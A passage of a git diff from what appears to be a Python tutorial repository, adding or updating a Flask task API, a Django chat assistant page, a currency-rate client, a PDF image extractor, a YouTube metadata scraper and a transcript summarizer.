+# Create the Flask-RESTful API manager.
+api = Api(app)
+# Create the endpoints.
+api.add_resource(TaskList, '/tasks')
+
+if __name__ == '__main__':
+    # Create the database tables.
+    with app.app_context():
+        db.create_all()
+    # Start the Flask development web server.
+    app.run(debug=True)
diff --git a/web-programming/restful-api-flask/config.py b/web-programming/restful-api-flask/config.py
new file mode 100644
index 00000000..3974b455
--- /dev/null
+++ b/web-programming/restful-api-flask/config.py
@@ -0,0 +1 @@
+SQLALCHEMY_DATABASE_URI = 'sqlite:///tasks.db'
\ No newline at end of file
diff --git a/web-programming/restful-api-flask/models.py b/web-programming/restful-api-flask/models.py
new file mode 100644
index 00000000..3d792130
--- /dev/null
+++ b/web-programming/restful-api-flask/models.py
@@ -0,0 +1,11 @@
+from flask_sqlalchemy import SQLAlchemy
+
+db = SQLAlchemy()
+
+class Task(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    description = db.Column(db.String(200), nullable=False) # nullable=False means that the column cannot be empty
+
+    def __repr__(self):
+        # This method is used to print the object.
+        return f'Task {self.id}: {self.description}'
diff --git a/web-programming/restful-api-flask/requirements.txt b/web-programming/restful-api-flask/requirements.txt
new file mode 100644
index 00000000..d3d142f8
--- /dev/null
+++ b/web-programming/restful-api-flask/requirements.txt
@@ -0,0 +1,3 @@
+Flask
+Flask-RESTful
+Flask-SQLAlchemy
\ No newline at end of file
diff --git a/web-programming/restful-api-flask/resources.py b/web-programming/restful-api-flask/resources.py
new file mode 100644
index 00000000..ea917f7c
--- /dev/null
+++ b/web-programming/restful-api-flask/resources.py
@@ -0,0 +1,29 @@
+from flask_restful import Resource
+from flask import request
+from models import Task, db
+
+class TaskList(Resource):
+    def get(self):
+        # Get all the tasks from the database.
+        tasks = Task.query.all()
+        # Convert the tasks to JSON and return a response.
+        task_list = [{'id': task.id, 'description': task.description} for task in tasks]
+        return {'tasks': task_list}
+
+    def post(self):
+        # Get the JSON data from the request.
+        task_data = request.get_json()
+        # Check if the data is valid.
+        if not task_data:
+            return {'message': 'No input data provided'}, 400
+        description = task_data.get('description')
+        if not description:
+            return {'message': 'Description is required'}, 400
+        # Add the task to the database.
+        new_task = Task(description=description)
+        db.session.add(new_task)
+        # Commit the task to the database.
+        db.session.commit()
+        # Return a message to the user.
+        return {'message': 'Task added', 'task': {'id': new_task.id, 'description': new_task.description}}
+
diff --git a/web-programming/restful-api-flask/tasks.db b/web-programming/restful-api-flask/tasks.db
new file mode 100644
index 00000000..6273f7df
Binary files /dev/null and b/web-programming/restful-api-flask/tasks.db differ
diff --git a/web-programming/webassistant/assistant/templates/assistant/home.html b/web-programming/webassistant/assistant/templates/assistant/home.html
index 76ad6e64..8ca690b3 100644
--- a/web-programming/webassistant/assistant/templates/assistant/home.html
+++ b/web-programming/webassistant/assistant/templates/assistant/home.html
@@ -1,43 +1,35 @@
 {% extends 'assistant/base.html' %}
-
 {% block title %} Home {% endblock %}
-
 {% block content %}
 <div class="row justify-content-center my-4">
-
     <div class="col-md-7 mt-4">
-
         <div class="card">
             <h1 class="card-header text-center">A.I WEB ASSISTANT</h1>
-
             <div class="card-body">
-
-             <pre>Hello, am your web assistant here to help you, what's on your mind?</pre>
-
+              <div class="d-flex justify-content-end">
+                <button type="button" class="btn btn-primary mb-3" onclick="location.href='https://github.com/%7B%%20url'new_chat' %}'">New Chat +</button>
+              </div>
+              <div class="chat-history mb-3">
+                {% for message in messages %}
+                  <div class="card mb-2 {% if message.role == 'assistant' %}bg-success text-white{% endif %}">
+                    <div class="card-body p-2">
+                      <strong>{{ message.role|title }}:</strong> {{ message.content|linebreaksbr }}
+                    </div>
+                  </div>
+                {% endfor %}
+              </div>
               <form action="https://github.com/" method="POST">
                 <!-- this secures the form from malicious attacks during submission -->
                 {% csrf_token %}
-
                 <input class="form-control mb-2" required type="text" autofocus="autofocus" name="prompt" value="{{ prompt }}" id="">
-
+                <label for="temperature" class="form-label">Temperature:</label>
+                <input class="form-control mb-2" type="number" step="0.01" min="0" max="2" name="temperature" value="{{ temperature }}" id="temperature">
                 <button class="btn btn-success fw-bold" type="submit">
-                     GENARATE
+                     GENERATE
                 </button>
-
               </form>
-            
-              <hr>
-
-              <pre>
-                {{ formatted_response }}
-              </pre>
-
             </div>
-
         </div>
-
     </div>
-
-  </div>
 </div>
-{% endblock %}
\ No newline at end of file
+{% endblock %}
diff --git a/web-programming/webassistant/assistant/urls.py b/web-programming/webassistant/assistant/urls.py
index 462768cf..94d8d242 100644
--- a/web-programming/webassistant/assistant/urls.py
+++ b/web-programming/webassistant/assistant/urls.py
@@ -5,6 +5,7 @@
 
 # a list of all the urls
 urlpatterns = [
-    path('home/', views.home, name='home'),
+    path('', views.home, name='home'),
+    path('new_chat/', views.new_chat, name='new_chat'),
     path('error-handler/', views.error_handler, name='error_handler'),
 ]
\ No newline at end of file
diff --git a/web-programming/webassistant/assistant/views.py b/web-programming/webassistant/assistant/views.py
index a0bc2e5c..2d5b573d 100644
--- a/web-programming/webassistant/assistant/views.py
+++ b/web-programming/webassistant/assistant/views.py
@@ -4,43 +4,66 @@
 import openai
 # import the generated API key from the secret_key file
 from .secret_key import API_KEY
-
-
 # loading the API key from the secret_key file
 openai.api_key = API_KEY
 
-
 # this is the home view for handling home page logic
 def home(request):
-    # the try statement is for sending request to the API and getting back the response
-    # formatting it and rendering it in the template
     try:
-        # checking if the request method is POST
+        # if the session does not have a messages key, create one
+        if 'messages' not in request.session:
+            request.session['messages'] = [
+                {"role": "system", "content": "You are now chatting with a user, provide them with comprehensive, short and concise answers."},
+            ]
+
         if request.method == 'POST':
-            # getting prompt data from the form
+            # get the prompt from the form
             prompt = request.POST.get('prompt')
-            # making a request to the API 
-            response = openai.Completion.create(model="text-davinci-003", prompt=prompt, temperature=1, max_tokens=1000)
-            # formatting the response input
-            formatted_response = response['choices'][0]['text']
-            # bundling everything in the context
+            # get the temperature from the form
+            temperature = float(request.POST.get('temperature', 0.1))
+            # append the prompt to the messages list
+            request.session['messages'].append({"role": "user", "content": prompt})
+            # set the session as modified
+            request.session.modified = True
+            # call the openai API
+            response = openai.ChatCompletion.create(
+                model="gpt-3.5-turbo",
+                messages=request.session['messages'],
+                temperature=temperature,
+                max_tokens=1000,
+            )
+            # format the response
+            formatted_response = response['choices'][0]['message']['content']
+            # append the response to the messages list
+            request.session['messages'].append({"role": "assistant", "content": formatted_response})
+            request.session.modified = True
+            # redirect to the home page
             context = {
-                'formatted_response': formatted_response,
-                'prompt': prompt
+                'messages': request.session['messages'],
+                'prompt': '',
+                'temperature': temperature,
             }
-            # this will render the results in the home.html template
             return render(request, 'assistant/home.html', context)
-        # this runs if the request method is GET
         else:
-            # this will render when there is no request POST or after every POST request
-            return render(request, 'assistant/home.html')
-
-    # the except statement will capture any error
-    except:
-        # this will redirect to the 404 page after any error is caught
+            # if the request is not a POST request, render the home page
+            context = {
+                'messages': request.session['messages'],
+                'prompt': '',
+                'temperature': 0.1,
+            }
+            return render(request, 'assistant/home.html', context)
+    except Exception as e:
+        print(e)
+        # if there is an error, redirect to the error handler
         return redirect('error_handler')
 
 
+def new_chat(request):
+    # clear the messages list
+    request.session.pop('messages', None)
+    return redirect('home')
+
+
 # this is the view for handling errors
 def error_handler(request):
     return render(request, 'assistant/404.html')
diff --git a/web-programming/webassistant/webassistant/urls.py b/web-programming/webassistant/webassistant/urls.py
index e01875f7..c30ec629 100644
--- a/web-programming/webassistant/webassistant/urls.py
+++ b/web-programming/webassistant/webassistant/urls.py
@@ -6,5 +6,5 @@
     # the url to the admin site
     path('admin/', admin.site.urls),
     # registering all the assistant application urls
-    path('webassistant/', include('assistant.urls')),
+    path('', include('assistant.urls')),
 ]
diff --git a/web-scraping/currency-converter/currency_converter_currencyapi.py b/web-scraping/currency-converter/currency_converter_currencyapi.py
new file mode 100644
index 00000000..f70c57c8
--- /dev/null
+++ b/web-scraping/currency-converter/currency_converter_currencyapi.py
@@ -0,0 +1,48 @@
+import requests
+import urllib.parse as p
+
+API_KEY = "<YOUR_API_KEY>"
+base_url = "https://api.currencyapi.com/v3/"
+
+# utility function that both functions will use
+def get_currencyapi_data(endpoint, date=None, base_currency="USD", print_all=True):
+    """Get the list of currency codes from the API"""
+    # construct the url
+    url = p.urljoin(base_url, 
+                    f"{endpoint}?apikey={API_KEY}{'' if endpoint == 'latest' else f'&date={date}'}&base_currency={base_currency}")
+    # make the request
+    res = requests.get(url)
+    # get the json data
+    data = res.json()
+    # print all the currency codes and their values
+    c = 0
+    if print_all:
+        for currency_code, currency_name in data.get("data").items():
+            print(f"{currency_code}: {currency_name.get('value')}")
+            c += 1
+    
+    print(f"Total: {c} currencies")
+    if endpoint == "latest":
+        # get the last updated date
+        last_updated = data.get("meta").get("last_updated_at")
+        print(f"Last updated: {last_updated}")
+    return data
+
+def get_latest_rates(base_currency="USD", print_all=True):
+    """Get the latest rates from the API"""
+    return get_currencyapi_data(endpoint="latest", base_currency=base_currency, print_all=print_all)
+    
+def get_historical_rates(base_currency="USD", print_all=True, date="2023-01-01"):
+    """Get the historical rates from the Currency API
+    `date` must be in the format of YYYY-MM-DD"""
+    return get_currencyapi_data(endpoint="historical", base_currency=base_currency, date=date, print_all=print_all)
+    
+    
+if __name__ == "__main__":
+    latest_rates = get_latest_rates()
+    print(f"\n{'-'*50}\n")
+    # get the historical rates for the date 2021-01-01
+    historical_rates = get_historical_rates(date="2021-01-01", print_all=False)
+    # get EUR rate, for example
+    eur_rate = historical_rates.get("data").get("EUR").get("value")
+    print(f"EUR rate on 2021-01-01: {eur_rate}")
\ No newline at end of file
diff --git a/web-scraping/pdf-image-extractor/README.md b/web-scraping/pdf-image-extractor/README.md
index cd99ee53..3f3826ff 100644
--- a/web-scraping/pdf-image-extractor/README.md
+++ b/web-scraping/pdf-image-extractor/README.md
@@ -12,4 +12,20 @@ To run this:
     [+] Found a total of 3 images in page 2
     [!] No images found on page 3
     [!] No images found on page 4
+    ```
+- To extract and save all images of 800x800 and higher of `1710.05006.pdf` PDF file, and save them in `images` directory in the PNG format, you run:
+    ```
+    python pdf_image_extractor_cli.py 1710.05006.pdf -o extracted-images -f png -w 800 -he 800
+    ```
+    This will save all available images in the `images` directory and outputs:
+    ```
+    [!] No images found on page 0
+    [+] Found a total of 3 images in page 1
+    [-] Skipping image 1 on page 1 due to its small size.
+    [-] Skipping image 2 on page 1 due to its small size.
+    [-] Skipping image 3 on page 1 due to its small size.
+    [+] Found a total of 3 images in page 2
+    [-] Skipping image 2 on page 2 due to its small size.
+    [!] No images found on page 3
+    [!] No images found on page 4
     ```
\ No newline at end of file
diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor.py b/web-scraping/pdf-image-extractor/pdf_image_extractor.py
index 8f4b1129..2e873aec 100644
--- a/web-scraping/pdf-image-extractor/pdf_image_extractor.py
+++ b/web-scraping/pdf-image-extractor/pdf_image_extractor.py
@@ -1,31 +1,48 @@
-import fitz # PyMuPDF
+import os
+import fitz  # PyMuPDF
 import io
 from PIL import Image
 
-# file path you want to extract images from
+# Output directory for the extracted images
+output_dir = "extracted_images"
+# Desired output image format
+output_format = "png"
+# Minimum width and height for extracted images
+min_width = 100
+min_height = 100
+# Create the output directory if it does not exist
+if not os.path.exists(output_dir):
+    os.makedirs(output_dir)
+# File path you want to extract images from
 file = "1710.05006.pdf"
-# open the file
+# Open the file
 pdf_file = fitz.open(file)
-# iterate over PDF pages
+# Iterate over PDF pages
 for page_index in range(len(pdf_file)):
-    # get the page itself
+    # Get the page itself
     page = pdf_file[page_index]
-    # get image list
-    image_list = page.get_images()
-    # printing number of images found in this page
+    # Get image list
+    image_list = page.get_images(full=True)
+    # Print the number of images found on this page
     if image_list:
         print(f"[+] Found a total of {len(image_list)} images in page {page_index}")
     else:
-        print("[!] No images found on page", page_index)
+        print(f"[!] No images found on page {page_index}")
+    # Iterate over the images on the page
     for image_index, img in enumerate(image_list, start=1):
-        # get the XREF of the image
+        # Get the XREF of the image
         xref = img[0]
-        # extract the image bytes
+        # Extract the image bytes
         base_image = pdf_file.extract_image(xref)
         image_bytes = base_image["image"]
-        # get the image extension
+        # Get the image extension
         image_ext = base_image["ext"]
-        # load it to PIL
+        # Load it to PIL
         image = Image.open(io.BytesIO(image_bytes))
-        # save it to local disk
-        image.save(open(f"image{page_index+1}_{image_index}.{image_ext}", "wb"))
\ No newline at end of file
+        # Check if the image meets the minimum dimensions and save it
+        if image.width >= min_width and image.height >= min_height:
+            image.save(
+                open(os.path.join(output_dir, f"image{page_index + 1}_{image_index}.{output_format}"), "wb"),
+                format=output_format.upper())
+        else:
+            print(f"[-] Skipping image {image_index} on page {page_index} due to its small size.")
diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py b/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py
new file mode 100644
index 00000000..2eccc896
--- /dev/null
+++ b/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py
@@ -0,0 +1,58 @@
+import os
+import fitz  # PyMuPDF
+import io
+from PIL import Image
+import argparse
+
+parser = argparse.ArgumentParser(description="Extract images from a PDF file.")
+parser.add_argument("file", help="PDF file to extract images from.")
+parser.add_argument("-o", "--output", help="Output directory for the extracted images.", default="extracted_images")
+parser.add_argument("-f", "--format", help="Desired output image format, default is PNG.", default="png")
+parser.add_argument("-w", "--width", help="Minimum width for extracted images, default is 100.", default=100, type=int)
+parser.add_argument("-he", "--height", help="Minimum height for extracted images, default is 100.", default=100, type=int)
+# Parse the arguments
+args = parser.parse_args()
+
+# Output directory for the extracted images
+output_dir = args.output
+# Desired output image format
+output_format = args.format
+# Minimum width and height for extracted images
+min_width = args.width
+min_height = args.height
+# Create the output directory if it does not exist
+if not os.path.exists(output_dir):
+    os.makedirs(output_dir)
+# File path you want to extract images from
+file = args.file
+# Open the file
+pdf_file = fitz.open(file)
+# Iterate over PDF pages
+for page_index in range(len(pdf_file)):
+    # Get the page itself
+    page = pdf_file[page_index]
+    # Get image list
+    image_list = page.get_images(full=True)
+    # Print the number of images found on this page
+    if image_list:
+        print(f"[+] Found a total of {len(image_list)} images in page {page_index}")
+    else:
+        print(f"[!] No images found on page {page_index}")
+    # Iterate over the images on the page
+    for image_index, img in enumerate(image_list, start=1):
+        # Get the XREF of the image
+        xref = img[0]
+        # Extract the image bytes
+        base_image = pdf_file.extract_image(xref)
+        image_bytes = base_image["image"]
+        # Get the image extension
+        image_ext = base_image["ext"]
+        # Load it to PIL
+        image = Image.open(io.BytesIO(image_bytes))
+        # Check if the image meets the minimum dimensions and save it
+        if image.width >= min_width and image.height >= min_height:
+            image.save(
+                open(os.path.join(output_dir, f"image{page_index + 1}_{image_index}.{output_format}"), "wb"),
+                format=output_format.upper())
+        else:
+            print(f"[-] Skipping image {image_index} on page {page_index} due to its small size.")
diff --git a/web-scraping/youtube-extractor/extract_video_info.py b/web-scraping/youtube-extractor/extract_video_info.py
index 042ce4f8..bed184b0 100644
--- a/web-scraping/youtube-extractor/extract_video_info.py
+++ b/web-scraping/youtube-extractor/extract_video_info.py
@@ -1,92 +1,150 @@
-from requests_html import HTMLSession
-from bs4 import BeautifulSoup as bs
+import requests
+from bs4 import BeautifulSoup
 import re
 import json
-
-# init session
-session = HTMLSession()
-
+import argparse
 
 def get_video_info(url):
-    # download HTML code
-    response = session.get(url)
-    # execute Javascript
-    response.html.render(timeout=60)
-    # create beautiful soup object to parse HTML
-    soup = bs(response.html.html, "html.parser")
-    # open("index.html", "w").write(response.html.html)
-    # initialize the result
-    result = {}
-    # video title
-    result["title"] = soup.find("meta", itemprop="name")['content']
-    # video views
-    result["views"] = soup.find("meta", itemprop="interactionCount")['content']
-    # video description
-    result["description"] = soup.find("meta", itemprop="description")['content']
-    # date published
-    result["date_published"] = soup.find("meta", itemprop="datePublished")['content']
-    # get the duration of the video
-    result["duration"] = soup.find("span", {"class": "ytp-time-duration"}).text
-    # get the video tags
-    result["tags"] = ', '.join([ meta.attrs.get("content") for meta in soup.find_all("meta", {"property": "og:video:tag"}) ])
-
-    # Additional video and channel information (with help from: https://stackoverflow.com/a/68262735)
-    data = re.search(r"var ytInitialData = ({.*?});", soup.prettify()).group(1)
-    data_json = json.loads(data)
-    videoPrimaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer']
-    videoSecondaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']
-    # number of likes
-    likes_label = videoPrimaryInfoRenderer['videoActions']['menuRenderer']['topLevelButtons'][0]['toggleButtonRenderer']['defaultText']['accessibility']['accessibilityData']['label'] # "No likes" or "###,### likes"
-    likes_str = likes_label.split(' ')[0].replace(',','')
-    result["likes"] = '0' if likes_str == 'No' else likes_str
-    # number of likes (old way) doesn't always work
-    # text_yt_formatted_strings = soup.find_all("yt-formatted-string", {"id": "text", "class": "ytd-toggle-button-renderer"})
-    # result["likes"] = ''.join([ c for c in text_yt_formatted_strings[0].attrs.get("aria-label") if c.isdigit() ])
-    # result["likes"] = 0 if result['likes'] == '' else int(result['likes'])
-    # number of dislikes - YouTube does not publish this anymore...
-    # result["dislikes"] = ''.join([ c for c in text_yt_formatted_strings[1].attrs.get("aria-label") if c.isdigit() ])	
-    # result["dislikes"] = '0' if result['dislikes'] == '' else result['dislikes']
-    result['dislikes'] = 'UNKNOWN'
-    # channel details
-    channel_tag = soup.find("meta", itemprop="channelId")['content']
-    # channel name
-    channel_name = soup.find("span", itemprop="author").next.next['content']
-    # channel URL
-    # channel_url = soup.find("span", itemprop="author").next['href']
-    channel_url = f"https://www.youtube.com/%7Bchannel_tag%7D"
-    # number of subscribers as str
-    channel_subscribers = videoSecondaryInfoRenderer['owner']['videoOwnerRenderer']['subscriberCountText']['accessibility']['accessibilityData']['label']
-    # channel details (old way)
-    # channel_tag = soup.find("yt-formatted-string", {"class": "ytd-channel-name"}).find("a")
-    # # channel name (old way)
-    # channel_name = channel_tag.text
-    # # channel URL (old way)
-    # channel_url = f"https://www.youtube.com{channel_tag['href']}"
-    # number of subscribers as str (old way)
-    # channel_subscribers = soup.find("yt-formatted-string", {"id": "owner-sub-count"}).text.strip()
-    result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers}
-    return result
+    """
+    Extract video information from YouTube using modern approach
+    """
+    headers = {
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
+    }
+    
+    try:
+        # Download HTML code
+        response = requests.get(url, headers=headers)
+        response.raise_for_status()
+        
+        # Create beautiful soup object to parse HTML
+        soup = BeautifulSoup(response.text, "html.parser")
+        
+        # Initialize the result
+        result = {}
+        
+        # Extract ytInitialData which contains all the video information
+        data_match = re.search(r'var ytInitialData = ({.*?});', response.text)
+        if not data_match:
+            raise Exception("Could not find ytInitialData in page")
+            
+        data_json = json.loads(data_match.group(1))
+        
+        # Get the main content sections
+        contents = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents']
+        
+        # Extract video information from videoPrimaryInfoRenderer
+        if 'videoPrimaryInfoRenderer' in contents[0]:
+            primary = contents[0]['videoPrimaryInfoRenderer']
+            
+            # Video title
+            result["title"] = primary['title']['runs'][0]['text']
+            
+            # Video views
+            result["views"] = primary['viewCount']['videoViewCountRenderer']['viewCount']['simpleText']
+            
+            # Date published
+            result["date_published"] = primary['dateText']['simpleText']
+        
+        # Extract channel information from videoSecondaryInfoRenderer
+        secondary = None
+        if 'videoSecondaryInfoRenderer' in contents[1]:
+            secondary = contents[1]['videoSecondaryInfoRenderer']
+            owner = secondary['owner']['videoOwnerRenderer']
+            
+            # Channel name
+            channel_name = owner['title']['runs'][0]['text']
+            
+            # Channel ID
+            channel_id = owner['navigationEndpoint']['browseEndpoint']['browseId']
+            
+            # Channel URL - FIXED with proper /channel/ path
+            channel_url = f"https://www.youtube.com/channel/%7Bchannel_id%7D"
+            
+            # Number of subscribers
+            channel_subscribers = owner['subscriberCountText']['accessibility']['accessibilityData']['label']
+            
+            result['channel'] = {
+                'name': channel_name, 
+                'url': channel_url, 
+                'subscribers': channel_subscribers
+            }
+        
+        # Extract video description
+        if secondary and 'attributedDescription' in secondary:
+            description_runs = secondary['attributedDescription']['content']
+            result["description"] = description_runs
+        else:
+            result["description"] = "Description not available"
+        
+        # Try to extract video duration from player overlay
+        # This is a fallback approach since the original method doesn't work
+        duration_match = re.search(r'"approxDurationMs":"(\d+)"', response.text)
+        if duration_match:
+            duration_ms = int(duration_match.group(1))
+            minutes = duration_ms // 60000
+            seconds = (duration_ms % 60000) // 1000
+            result["duration"] = f"{minutes}:{seconds:02d}"
+        else:
+            result["duration"] = "Duration not available"
+        
+        # Extract video tags if available
+        video_tags = []
+        if 'keywords' in data_json.get('metadata', {}).get('videoMetadataRenderer', {}):
+            video_tags = data_json['metadata']['videoMetadataRenderer']['keywords']
+        result["tags"] = ', '.join(video_tags) if video_tags else "No tags available"
+        
+        # Extract likes (modern approach)
+        result["likes"] = "Likes count not available"
+        result["dislikes"] = "UNKNOWN"  # YouTube no longer shows dislikes
+        
+        # Try to find likes in the new structure
+        for content in contents:
+            if 'compositeVideoPrimaryInfoRenderer' in content:
+                composite = content['compositeVideoPrimaryInfoRenderer']
+                if 'likeButton' in composite:
+                    like_button = composite['likeButton']
+                    if 'toggleButtonRenderer' in like_button:
+                        toggle = like_button['toggleButtonRenderer']
+                        if 'defaultText' in toggle:
+                            default_text = toggle['defaultText']
+                            if 'accessibility' in default_text:
+                                accessibility = default_text['accessibility']
+                                if 'accessibilityData' in accessibility:
+                                    label = accessibility['accessibilityData']['label']
+                                    if 'like' in label.lower():
+                                        result["likes"] = label
+        
+        return result
+        
+    except Exception as e:
+        raise Exception(f"Error extracting video info: {str(e)}")
 
 if __name__ == "__main__":
-    import argparse
     parser = argparse.ArgumentParser(description="YouTube Video Data Extractor")
     parser.add_argument("url", help="URL of the YouTube video")
 
     args = parser.parse_args()
+    
     # parse the video URL from command line
     url = args.url
     
-    data = get_video_info(url)
+    try:
+        data = get_video_info(url)
 
-    # print in nice format
-    print(f"Title: {data['title']}")
-    print(f"Views: {data['views']}")
-    print(f"Published at: {data['date_published']}")
-    print(f"Video Duration: {data['duration']}")
-    print(f"Video tags: {data['tags']}")
-    print(f"Likes: {data['likes']}")
-    print(f"Dislikes: {data['dislikes']}")
-    print(f"\nDescription: {data['description']}\n")
-    print(f"\nChannel Name: {data['channel']['name']}")
-    print(f"Channel URL: {data['channel']['url']}")
-    print(f"Channel Subscribers: {data['channel']['subscribers']}")
+        # print in nice format
+        print(f"Title: {data['title']}")
+        print(f"Views: {data['views']}")
+        print(f"Published at: {data['date_published']}")
+        print(f"Video Duration: {data['duration']}")
+        print(f"Video tags: {data['tags']}")
+        print(f"Likes: {data['likes']}")
+        print(f"Dislikes: {data['dislikes']}")
+        print(f"\nDescription: {data['description']}\n")
+        print(f"\nChannel Name: {data['channel']['name']}")
+        print(f"Channel URL: {data['channel']['url']}")
+        print(f"Channel Subscribers: {data['channel']['subscribers']}")
+        
+    except Exception as e:
+        print(f"Error: {e}")
+        print("\nNote: YouTube frequently changes its structure, so this script may need updates.")
\ No newline at end of file
diff --git a/web-scraping/youtube-transcript-summarizer/README.md b/web-scraping/youtube-transcript-summarizer/README.md
new file mode 100644
index 00000000..a3df25a0
--- /dev/null
+++ b/web-scraping/youtube-transcript-summarizer/README.md
@@ -0,0 +1 @@
+# [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python)
\ No newline at end of file
diff --git a/web-scraping/youtube-transcript-summarizer/requirements.txt b/web-scraping/youtube-transcript-summarizer/requirements.txt
new file mode 100644
index 00000000..865ee3b5
--- /dev/null
+++ b/web-scraping/youtube-transcript-summarizer/requirements.txt
@@ -0,0 +1,5 @@
+nltk
+pytube
+youtube_transcript_api
+colorama
+openai
diff --git a/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py
new file mode 100644
index 00000000..bdb80f54
--- /dev/null
+++ b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py
@@ -0,0 +1,319 @@
+import os
+import sys
+import nltk
+import pytube
+from youtube_transcript_api import YouTubeTranscriptApi
+from nltk.corpus import stopwords
+from nltk.tokenize import sent_tokenize, word_tokenize
+from nltk.probability import FreqDist
+from heapq import nlargest
+from urllib.parse import urlparse, parse_qs
+import textwrap
+from colorama import Fore, Back, Style, init
+from openai import OpenAI
+
+# Initialize colorama for cross-platform colored terminal output
+init(autoreset=True)
+
+# Download necessary NLTK data
+nltk.download('punkt_tab', quiet=True)
+nltk.download('punkt', quiet=True)
+nltk.download('stopwords', quiet=True)
+
+# Initialize OpenAI client from environment variable
+# Expect the OpenRouter API key to be provided via OPENROUTER_API_KEY
+api_key = os.getenv("OPENROUTER_API_KEY")
+if not api_key:
+    print(Fore.RED + "Error: OPENROUTER_API_KEY environment variable is not set or is still the placeholder ('<api_key>').")
+    sys.exit(1)
+else:
+    client = OpenAI(
+        base_url="https://openrouter.ai/api/v1",
+        api_key=api_key,
+    )
+
+def extract_video_id(youtube_url):
+    """Extract the video ID from a YouTube URL."""
+    parsed_url = urlparse(youtube_url)
+    
+    if parsed_url.netloc == 'youtu.be':
+        return parsed_url.path[1:]
+    
+    if parsed_url.netloc in ('www.youtube.com', 'youtube.com'):
+        if parsed_url.path == '/watch':
+            return parse_qs(parsed_url.query)['v'][0]
+        elif parsed_url.path.startswith('/embed/'):
+            return parsed_url.path.split('/')[2]
+        elif parsed_url.path.startswith('/v/'):
+            return parsed_url.path.split('/')[2]
+    
+    # If no match found
+    raise ValueError(f"Could not extract video ID from URL: {youtube_url}")
+
+def get_transcript(video_id):
+    """Get the transcript of a YouTube video."""
+    try:
+        youtube_transcript_api = YouTubeTranscriptApi()
+        fetched_transcript = youtube_transcript_api.fetch(video_id)
+        full_transcript = " ".join([snippet.text for snippet in fetched_transcript.snippets])
+        return full_transcript.strip()
+    except Exception as e:
+        return f"Error retrieving transcript: {str(e)}."
+
+def summarize_text_nltk(text, num_sentences=5):
+    """Summarize text using frequency-based extractive summarization with NLTK."""
+    if not text or text.startswith("Error") or text.startswith("Transcript not available"):
+        return text
+    
+    # Tokenize the text into sentences and words
+    sentences = sent_tokenize(text)
+    
+    # If there are fewer sentences than requested, return all sentences
+    if len(sentences) <= num_sentences:
+        return text
+    
+    # Tokenize words and remove stopwords
+    stop_words = set(stopwords.words('english'))
+    words = word_tokenize(text.lower())
+    words = [word for word in words if word.isalnum() and word not in stop_words]
+    
+    # Calculate word frequencies
+    freq = FreqDist(words)
+    
+    # Score sentences based on word frequencies
+    sentence_scores = {}
+    for i, sentence in enumerate(sentences):
+        for word in word_tokenize(sentence.lower()):
+            if word in freq:
+                if i in sentence_scores:
+                    sentence_scores[i] += freq[word]
+                else:
+                    sentence_scores[i] = freq[word]
+    
+    # Get the top N sentences with highest scores
+    summary_sentences_indices = nlargest(num_sentences, sentence_scores, key=sentence_scores.get)
+    summary_sentences_indices.sort()  # Sort to maintain original order
+    
+    # Construct the summary
+    summary = ' '.join([sentences[i] for i in summary_sentences_indices])
+    return summary
+
+def summarize_text_ai(text, video_title, num_sentences=5):
+    """Summarize text using the Mistral AI model via OpenRouter."""
+    if not text or text.startswith("Error") or text.startswith("Transcript not available"):
+        return text
+    
+    # Truncate text if it's too long (models often have token limits)
+    max_chars = 15000  # Adjust based on model's context window
+    truncated_text = text[:max_chars] if len(text) > max_chars else text
+    
+    prompt = f"""Please provide a concise summary of the following YouTube video transcript.
+Title: {video_title}
+
+Transcript:
+{truncated_text}
+
+Create a clear, informative summary that captures the main points and key insights from the video.
+Your summary should be approximately {num_sentences} sentences long.
+"""
+    
+    try:
+        completion = client.chat.completions.create(
+            model="mistralai/mistral-small-3.1-24b-instruct:free",
+            messages=[
+                {
+                    "role": "user",
+                    "content": [
+                        {
+                            "type": "text",
+                            "text": prompt
+                        }
+                    ]
+                }
+            ]
+        )
+        return completion.choices[0].message.content
+    except Exception as e:
+        return f"Error generating AI summary: {str(e)}"
+
+def summarize_youtube_video(youtube_url, num_sentences=5):
+    """Main function to summarize a YouTube video's transcription."""
+    try:
+        video_id = extract_video_id(youtube_url)
+        transcript = get_transcript(video_id)
+        
+        # Get video title for context
+        try:
+            yt = pytube.YouTube(youtube_url)
+            video_title = yt.title
+            
+        except Exception as e:
+            video_title = "Unknown Title"
+
+        
+        # Generate both summaries
+        print(Fore.YELLOW + f"Generating AI summary with {num_sentences} sentences...")
+        ai_summary = summarize_text_ai(transcript, video_title, num_sentences)
+        
+        print(Fore.YELLOW + f"Generating NLTK summary with {num_sentences} sentences...")
+        nltk_summary = summarize_text_nltk(transcript, num_sentences)
+        
+        return {
+            "video_title": video_title,
+            "video_id": video_id,
+            "ai_summary": ai_summary,
+            "nltk_summary": nltk_summary,
+            "full_transcript_length": len(transcript.split()),
+            "nltk_summary_length": len(nltk_summary.split()),
+            "ai_summary_length": len(ai_summary.split()) if not ai_summary.startswith("Error") else 0
+        }
+    except Exception as e:
+        return {"error": str(e)}
+
+def format_time(seconds):
+    """Convert seconds to a readable time format."""
+    hours, remainder = divmod(seconds, 3600)
+    minutes, seconds = divmod(remainder, 60)
+    
+    if hours > 0:
+        return f"{hours}h {minutes}m {seconds}s"
+    elif minutes > 0:
+        return f"{minutes}m {seconds}s"
+    else:
+        return f"{seconds}s"
+
+def format_number(number):
+    """Format large numbers with commas for readability."""
+    return "{:,}".format(number)
+
+def print_boxed_text(text, width=80, title=None, color=Fore.WHITE):
